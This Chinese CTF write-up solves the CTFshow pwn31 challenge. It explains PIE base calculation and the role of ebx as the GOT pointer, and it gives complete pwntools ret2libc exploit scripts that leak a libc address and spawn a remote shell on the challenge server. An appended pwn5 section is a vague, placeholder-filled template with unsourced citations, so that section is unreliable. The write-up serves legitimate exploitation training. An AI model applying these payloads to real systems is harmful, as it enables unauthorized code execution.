深入分析CTFshow-PWN入门-pwn31的解法与原理

pwn31

这道题关于程序基址和调用约定中ebx的作用

image

checkse

image

32 位小端序,开启了 PIE 保护
程序基址 + 偏移地址 = 真实地址
关闭 pie 保护时,程序基址为默认值,也就是说可以直接得到函数的真实地址
开启 pie 保护后,每次运行都会有不一样的程序基址
回到题目
拖进 ida,反编译

image

发现这里泄露了 mian 函数的真实地址,可以用来计算程序基址
我们还是用 pwn25 题的脚本,只需要更改第一步

# -*- coding: utf-8 -*-							# 设置编码格式,用来在py2代码使用中文注释
from pwn import *								# 导入 pwntools 库
from LibcSearcher import *						# 导入 libcSearcher 库
context.log_level = 'debug'						# 设置日志级别为调试模式,显示详细信息
#io = process('./pwn')							# 本地连接
io = remote("pwn.challenge.ctf.show", 28294)	# 远程连接

# 1
elf = ELF('./pwn')								# 解析目标程序的 ELF 文件
main = int(io.recvline(),16)					# 接受程序泄露的 main 函数真实地址
base = main - elf.sym['main']					# 计算程序基址
ctfshow = base + elf.sym['ctfshow']				# 计算 ctfshow 的真实地址
write_got = base + elf.got['write']				# 计算 write@got 的真实地址
write_plt = base + elf.plt['write']				# 计算 write@plt 的真实地址

#2
payload1 = cyclic(0x88+0x4) + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload1)							# 传入payload1

#3
write = u32(io.recv(4))							# 接收打印出来的 write 的真实地址(4 字节)
                                                # u32():将字节数据转换为无符号 32 位整数
print(hex(write))
libc = LibcSearcher('write',write)				# 根据 write的地址匹配远程 libc版本
libc_base = write - libc.dump('write')			# 计算 libc基地址

#4
system = libc_base + libc.dump('system')		# 计算 system 函数真实地址
bin_sh = libc_base + libc.dump('str_bin_sh')	# 计算 /bin/sh 字符串真实地址

#5
payload2 = cyclic(0x88+0x4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload2)							# 传入payload2
io.interactive()								# 进入交互模式,获得远程 shell

开启容器,运行

image

但是却提示没有合适的 libc 基址,泄露出来的write的真实地址是0x656d6974
libc 函数地址通常以0xf7xxxxxx0xf6xxxxxx开头,这一看就不是一个有效地址
那是什么原因导致了这个错误的地址?我们泄露思路肯定是没错的,问题出在细节上
我们打开 ctfshow 函数的汇编代码

image

这里就是问题所在,挑出重点部分逐行解释

push    ebx        								; 将 ebx 的原始值压栈保存(存到 [ebp-0x4])

...

call    __x86_get_pc_thunk_ax 					; 将下一条指令地址存入 eax
add     eax, (offset _GLOBAL_OFFSET_TABLE_ - $) ; eax += GOT 表与此指令的相对地址
                                                ;运行到这里,eax存的即是 GOT表 真实地址
...

mov     ebx, eax               					; 将 GOT 真实存入 ebx

...

mov     ebx, [ebp+var_4]  						; 从栈中恢复原始 ebx 值(var_4 = -4)

这种情况一般会出现在函数中需要使用 GOT 表地址的时候,简单来说就是主程序中 ebx 是有值的,在调用约定中 ebx 用来临时存放 GOT 表真实地址,方便函数使用,这时就会把 ebx 原来的值压入栈上先保存下来,让 ebx 临时储存 GOT 表的地址,函数结束时再恢复
我们刚刚的 payload1 中把 ebx 位置[ebp-0x4]覆盖成了“AAAA”,然后 write@plt 的跳转逻辑直接访问 GOT 表,无需 ebx参与,所以正确调用到了 write 函数
紧接着 ebx 带着错误的“AAAA”又去访问write@got地址,其结构大致如下

write@plt:
    jmp [ebx + write@got_offset]  ; 第一次跳转到 _dl_runtime_resolve
    push reloc_offset             ; 重定位条目索引
    jmp _dl_runtime_resolve       ; 解析真实地址并写入 GOT

也就是说,它是需要用 ebx 去计算的,ebx 正确才能泄露出正确的 write 的真实地址
而这里的 ebx,既不是“AAAA”,也不是要恢复成的原来主函数的 ebx 值,而是调用约定中 GOT 表的地址
所以这里我们应该把 ebx 还原成 GOT 表地址,通过我们算出的程序基址,再加上 GOT 表的偏移地址
即:ebx = base + 0x1fc0,偏移地址在 ida 里用快捷键Ctrl+S查看

image

综上所述,正确的 payload1 应该是:payload1 = b"A" * 132 + p32(ebx) + b"AAAA" + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4),其栈帧如下:

偏移范围填充内容对应栈帧区域作用说明
[ebp+0x88]→[ebp+0x04]b"A" * 132缓冲区填充覆盖局部变量和栈空间,直到覆盖保存的 ebx 前(需对齐到 ebp-0x4
[ebp-0x4]p32(ebx)保存的 ebx覆盖函数保存的原始 ebx(需合法值,否则 mov ebx, [ebp-0x4] 会崩溃)
[ebp]b"AAAA"旧的 ebp覆盖栈帧指针(通常可随意填充)
[ebp+0x4]p32(write_plt)返回地址劫持控制流,跳转到 write@plt
[ebp+0x8]p32(ctfshow)write 的返回地址write 执行后返回到 ctfshow 函数(或其他合法地址)
[ebp+0xC]p32(1)write 参数1:fdfd=1(标准输出)
[ebp+0x10]p32(write_got)write 参数2:buf要泄露的地址(write@got 的地址)
[ebp+0x14]p32(4)write 参数3:len读取 4 字节(write 的返回值)

最终的 exp

# -*- coding: utf-8 -*-							# 设置编码格式,用来在py2代码使用中文注释
from pwn import *								# 导入 pwntools 库
from LibcSearcher import *						# 导入 libcSearcher 库
context.log_level = 'debug'						# 设置日志级别为调试模式,显示详细信息
#io = process('./pwn')							# 本地连接
io = remote("pwn.challenge.ctf.show", 28294)	# 远程连接

# 1
elf = ELF('./pwn')								# 解析目标程序的 ELF 文件
main = int(io.recvline(),16)					# 接受程序泄露的 main 函数真实地址
base = main - elf.sym['main']					# 计算程序基址
ctfshow = base + elf.sym['ctfshow']				# 计算 ctfshow 的真实地址
write_got = base + elf.got['write']				# 计算 write@got 的真实地址
write_plt = base + elf.plt['write']				# 计算 write@plt 的真实地址
ebx = base + 0x1fc0								# 将ebx恢复为GOT表真实地址

#2
payload1 = b"A" * 132 + p32(ebx) + b"AAAA" + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload1)							# 传入payload1

#3
write = u32(io.recv(4))							# 接收打印出来的 write 的真实地址(4 字节)
                                                # u32():将字节数据转换为无符号 32 位整数
libc = LibcSearcher('write',write)				# 根据 write的地址匹配远程 libc版本
libc_base = write - libc.dump('write')			# 计算 libc基地址

#4
system = libc_base + libc.dump('system')		# 计算 system 函数真实地址
bin_sh = libc_base + libc.dump('str_bin_sh')	# 计算 /bin/sh 字符串真实地址

#5
payload2 = b"A" * 140 + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload2)							# 传入payload2
io.interactive()								# 进入交互模式,获得远程 shell

最后一步~运行运行运行…………

image

终于拿到 fla

### CTF SHOW PWN入门 pwn5 解法 对于CTF SHOW平台上的PWN挑战,尤其是针对`pwn5`这一题目,解决方法通常涉及对二进制漏洞的理解以及如何利用这些漏洞来获取flag。 #### 题目分析 在处理这类问题时,首先需要下载并理解目标程序的行为模式。通过逆向工程工具如IDA Pro或Ghidra可以查看可执行文件内部结构,识别潜在的安全缺陷[^1]。 #### 漏洞发现 经过初步审查后得知此题存在栈溢出的可能性。当输入长度超过缓冲区大小时未作适当检查便直接复制到固定空间内,这使得攻击者能够覆盖返回地址从而控制EIP寄存器指向任意位置执行恶意代码片段[^2]。 #### 利用技巧 为了成功完成该关卡,需构建特定格式的数据包作为输入发送给服务端进程。这里采用的方法是构造ROP链(Return-Oriented Programming Chain),即精心挑选一系列现有指令序列组合起来实现所需功能而不必注入额外shellcode: ```python from pwn import * context(os="linux", arch="amd64") binary_path = './path_to_binary' elf = ELF(binary_path) # 远程连接设置 host, port = "remote_host", 1234 conn = remote(host, int(port)) # 构造payload offset = ... # 计算偏移量 ret_address = ... pop_rdi_ret_gadget = ... payload = b'A' * offset + \ p64(pop_rdi_ret_gadget) + \ p64(target_function_arg) + \ p64(ret_address) conn.recvuntil(b'Tell me your name:') conn.sendline(payload) ``` 上述Python脚本展示了基本框架,实际应用中还需根据具体情况调整参数值,比如计算正确的偏移量(offset),找到合适的gadgets等[^3]。 #### 获取Flag 一旦成功触发了预期行为,则可以通过读取内存中的字符串或其他方式获得最终答案。例如,在某些情况下可能需要解析动态链接库表项以定位标准I/O函数的实际映射地址,进而打印出隐藏信息;而在另一些场景下则可能是直接调用了puts()之类的API输出预设好的标志位[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值